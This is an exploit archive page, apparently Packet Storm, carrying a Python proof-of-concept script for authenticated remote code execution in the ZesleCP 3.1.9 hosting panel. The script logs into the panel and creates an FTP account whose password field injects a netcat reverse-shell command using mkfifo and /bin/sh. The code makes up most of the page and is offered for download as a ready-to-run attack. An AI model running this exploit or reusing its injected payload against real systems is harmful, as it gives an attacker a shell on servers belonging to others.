what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZesleCP 3.1.9 Remote Code Execution

ZesleCP 3.1.9 Remote Code Execution
Posted Aug 27, 2021
Authored by numan turle

ZesleCP version 3.1.9 authenticated remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 13dc036088e14a3dceb02f4bb93c56fa35609cd89f5f254b27c676047a24cb78

ZesleCP 3.1.9 Remote Code Execution

Change Mirror Download
# Title: ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://zeslecp.com/
# Software Link: https://zeslecp.com/
# Version: <=3.1.9
# https://www.youtube.com/watch?v=5lTDTEBVq-0

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )
# author: twitter.com/numanturle
# usage: zeslecp.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://www.youtube.com/watch?v=5lTDTEBVq-0


import argparse,requests,warnings,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
parser = argparse.ArgumentParser(description='ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )')
parser.add_argument('-u','--host',help='Host', type=str, required=True)
parser.add_argument('-l', '--login',help='Username', type=str, required=True)
parser.add_argument('-p', '--password',help='Password', type=str, required=True)
args = parser.parse_args()
exploit(args)

def exploit(args):

listen_ip = "0.0.0.0"
listen_port = 1337

session = requests.Session()
target = "https://{}:2087".format(args.host)
username = args.login
password = args.password

print("[+] Target {}".format(target))

login = session.post(target+"/login", verify=False, json={"username":username,"password":password})
login_json = json.loads(login.content)

if login_json["success"]:
session_hand_login = session.cookies.get_dict()

print("[+] Login successfully")
print("[+] Creating ftp account")

ftp_username = "".join(random.choices(string.ascii_lowercase + string.digits, k=10))

print("[+] Username : {}".format(ftp_username))

print("[+] Send payload....")

payload = {
"ftp_user": ftp_username,
"ftp_password":"1337';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;echo '".format(listen_ip,listen_port)
}

try:
feth_weblist = session.post(target+"/core/ftp", verify=False, json=payload, timeout=3)
except requests.exceptions.ReadTimeout:
pass

print("[+] Successful")
else:
print("[-] AUTH : Login failed msg: {}".format(login_json["message"]))

if __name__ == "__main__":
init()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close